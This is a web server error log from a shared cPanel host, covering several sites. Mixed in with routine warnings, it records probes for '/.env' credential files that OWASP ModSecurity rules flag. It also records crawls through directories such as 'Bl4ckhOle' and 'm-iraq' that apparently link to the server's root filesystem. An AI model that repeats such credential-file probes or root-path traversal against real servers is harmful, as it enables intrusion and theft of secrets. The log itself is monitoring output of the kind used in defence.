[Fri Jul 17 09:47:30.810936 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory110/subsystem/devices/memory97/node0/memory5/subsystem/devices/memory54/node0/memory107/state"] [unique_id "alms2rEWOaI5pmYo9fnZRQAAAAA"]
[Fri Jul 17 09:47:30.810971 2026] [security2:error] [pid 2019501:tid 2019501] [client 57.141.18.17:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory110/subsystem/devices/memory97/node0/memory5/subsystem/devices/memory54/node0/memory107/state"] [unique_id "alms2rEWOaI5pmYo9fnZRQAAAAA"]
[Fri Jul 17 09:47:32.317631 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:32.428202 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:32.437191 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:34860] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:32.625733 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:32.653711 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:32.783964 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:32.975986 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:34.785694 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:34928] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:34.812473 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:65/subsystem/ptmx/power/control"] [unique_id "alms3muF39UwWB2KWdbTKAAAAA8"]
[Fri Jul 17 09:47:34.812520 2026] [security2:error] [pid 2050572:tid 2050572] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/4:65/subsystem/ptmx/power/control"] [unique_id "alms3muF39UwWB2KWdbTKAAAAA8"]
[Fri Jul 17 09:47:36.655692 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:35000] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:37.052740 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:35034] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:37.697864 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:37.780387 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:41.603889 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:56710] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:42.394941 2026] [core:error] [pid 2050572:tid 2050572] (13)Permission denied: [client 47.79.10.145:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:53/subsystem/ttyS3/device/driver/bind
[Fri Jul 17 09:47:42.401225 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:42.695772 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:43.030540 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:43.887223 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:56822] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:44.236959 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:44.948890 2026] [security2:error] [pid 2019501:tid 2019501] [client 47.79.15.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:68/subsystem/input1/subsystem/input1/uevent"] [unique_id "alms6LEWOaI5pmYo9fnZSwAAAAA"]
[Fri Jul 17 09:47:44.948926 2026] [security2:error] [pid 2019501:tid 2019501] [client 47.79.15.109:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/dev/char/13:68/subsystem/input1/subsystem/input1/uevent"] [unique_id "alms6LEWOaI5pmYo9fnZSwAAAAA"]
[Fri Jul 17 09:47:45.872025 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alms6U_0b3nWp8txtSDHLgAAAA0"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:47:45.872099 2026] [security2:error] [pid 2047046:tid 2047046] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alms6U_0b3nWp8txtSDHLgAAAA0"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:47:46.537120 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:56952] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:46.643477 2026] [core:error] [pid 2030955:tid 2030955] (13)Permission denied: [client 47.82.15.210:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/dev/char/246:1/device/driver/unbind
[Fri Jul 17 09:47:46.692689 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:46.901787 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alms6lh1WDijTxd1xw5WawAAAAc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:47:46.901832 2026] [security2:error] [pid 2013797:tid 2013797] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "alms6lh1WDijTxd1xw5WawAAAAc"], referer: http://anandaobauae.org/?C=M;O=Duploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpg
[Fri Jul 17 09:47:47.466410 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.26.203.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-global": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/jquery.themepunch.tools.min.js"] [unique_id "alms6wRRrtuZqNDDSqW6DgAAABo"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:47:47.466455 2026] [security2:error] [pid 2013830:tid 2013830] [client 34.26.203.168:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/nccphealthgov-ip": Permission denied [hostname "www.nccp.health.gov.lk"] [uri "/nccp/public/rs-plugin/js/jquery.themepunch.tools.min.js"] [unique_id "alms6wRRrtuZqNDDSqW6DgAAABo"], referer: https://www.nccp.health.gov.lk/en
[Fri Jul 17 09:47:48.361290 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:57352] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:48.504872 2026] [ssl:error] [pid 2018741:tid 2018741] (70014)End of file found: [client 66.85.158.91:57360] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:51.223997 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:51.314803 2026] [mime:warn] [pid 2050581:tid 2050581] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:51.395018 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:51.614929 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:48472] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:51.768070 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:51.989605 2026] [core:error] [pid 2050576:tid 2050576] (13)Permission denied: [client 47.82.50.237:0] AH00132: file permissions deny server access: /home/anandaob/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:51/subsystem/ttyS3/device/driver/unbind
[Fri Jul 17 09:47:51.997944 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:52.142068 2026] [mime:warn] [pid 2050572:tid 2050572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:52.153649 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:52.493645 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:48514] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:52.625952 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:52.856828 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:48516] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:47:53.210796 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:54.002576 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:54.039206 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:58.794177 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:58.804778 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:59.071641 2026] [mime:warn] [pid 2029579:tid 2029579] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:59.075833 2026] [core:error] [pid 2013830:tid 2013830] (13)Permission denied: [client 47.82.49.120:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/sys/devices/pnp0/00:01/firmware_node/physical_node1/driver/uevent
[Fri Jul 17 09:47:59.320311 2026] [mime:warn] [pid 2047046:tid 2047046] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:59.341723 2026] [core:error] [pid 2018768:tid 2018768] (13)Permission denied: [client 47.82.52.34:0] AH00132: file permissions deny server access: /home/anandaob/public_html/backup/js/Bl4ckhOle/root/sys/devices/pci0000:00/firmware_node/PNP0A06:00/physical_node/subsystem/drivers_probe
[Fri Jul 17 09:47:59.767784 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:47:59.946162 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:00.387475 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:00.575883 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:00.657391 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:00.987658 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:02.267134 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:59892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:05.608491 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:05.844133 2026] [mime:warn] [pid 2013830:tid 2013830] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:07.440703 2026] [ssl:error] [pid 2050582:tid 2050582] (70014)End of file found: [client 66.85.158.91:60554] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:10.708718 2026] [ssl:error] [pid 2050576:tid 2050576] (70014)End of file found: [client 66.85.158.91:60688] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:11.260292 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtA4-0g_VSPeIeFN3KdQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:48:11.260332 2026] [security2:error] [pid 2034024:tid 2034024] [client 74.7.227.161:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almtA4-0g_VSPeIeFN3KdQAAAAs"], referer: http://www.anandaobauae.org/?206.167.188.171uploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686745495_1xiTrophy.jpguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpg
[Fri Jul 17 09:48:12.421916 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:40454] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:14.262291 2026] [core:error] [pid 2031172:tid 2031172] (13)Permission denied: [client 57.141.18.0:0] AH00132: file permissions deny server access: /home/anandaob/public_html/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory22/subsystem/devices/memory0/subsystem/devices/memory61/node0/memory9/node0/memory101/subsystem/drivers_probe
[Fri Jul 17 09:48:15.637534 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:40650] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:15.652060 2026] [ssl:error] [pid 1993572:tid 1993572] (70014)End of file found: [client 66.85.158.91:40666] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:15.939736 2026] [ssl:error] [pid 2028246:tid 2028246] (70014)End of file found: [client 66.85.158.91:40682] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:17.645102 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:40748] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:20.386205 2026] [ssl:error] [pid 2019501:tid 2019501] (70014)End of file found: [client 66.85.158.91:40892] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:20.493398 2026] [security2:error] [pid 2030955:tid 2030955] [client 77.83.39.119:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.91"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtDPwooI4qY7Jg93pflwAAABM"]
[Fri Jul 17 09:48:20.493514 2026] [security2:error] [pid 2030955:tid 2030955] [client 77.83.39.119:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtDPwooI4qY7Jg93pflwAAABM"]
[Fri Jul 17 09:48:20.493630 2026] [security2:error] [pid 2030955:tid 2030955] [client 77.83.39.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtDPwooI4qY7Jg93pflwAAABM"]
[Fri Jul 17 09:48:20.493852 2026] [security2:error] [pid 2030955:tid 2030955] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtDPwooI4qY7Jg93pflwAAABM"]
[Fri Jul 17 09:48:20.494164 2026] [security2:error] [pid 2030955:tid 2030955] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.91"] [uri "/.env"] [unique_id "almtDPwooI4qY7Jg93pflwAAABM"]
[Fri Jul 17 09:48:22.052176 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:55252] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:23.089171 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:55278] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:48:24.345264 2026] [security2:error] [pid 1993671:tid 1993671] [client 77.83.39.119:0] ModSecurity: Warning. Pattern match "^[\\\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "735"] [id "920350"] [msg "Host header is a numeric IP address"] [data "66.85.158.92"] [severity "WARNING"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtEA5GPQ6hs4VrfMpMjQAAAAY"]
[Fri Jul 17 09:48:24.345377 2026] [security2:error] [pid 1993671:tid 1993671] [client 77.83.39.119:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtEA5GPQ6hs4VrfMpMjQAAAAY"]
[Fri Jul 17 09:48:24.345463 2026] [security2:error] [pid 1993671:tid 1993671] [client 77.83.39.119:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtEA5GPQ6hs4VrfMpMjQAAAAY"]
[Fri Jul 17 09:48:24.345704 2026] [security2:error] [pid 1993671:tid 1993671] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 13)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtEA5GPQ6hs4VrfMpMjQAAAAY"]
[Fri Jul 17 09:48:24.346014 2026] [security2:error] [pid 1993671:tid 1993671] [client 77.83.39.119:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 13 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 13, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "66.85.158.92"] [uri "/.env"] [unique_id "almtEA5GPQ6hs4VrfMpMjQAAAAY"]
[Fri Jul 17 09:48:26.783749 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:26.872452 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:27.026847 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:27.288439 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:27.288504 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:27.288533 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:27.607534 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:48:28.248249 2026] [core:error] [pid 2013797:tid 2013797] (13)Permission denied: [client 216.73.216.245:0] AH00132: file permissions deny server access: /home/anandaob/public_html/public_html/uploads/img/news/m-iraq/root/usr/share/cagefs-skeleton/bin/x86_64-redhat-linux-gcc
[Fri Jul 17 09:48:28.339071 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty26/subsystem/tty57/dev"] [unique_id "almtFE_0b3nWp8txtSDHTQAAAA0"]
[Fri Jul 17 09:48:28.339103 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/uploads/img/news/m-iraq/root/sys/devices/virtual/tty/tty26/subsystem/tty57/dev"] [unique_id "almtFE_0b3nWp8txtSDHTQAAAA0"]
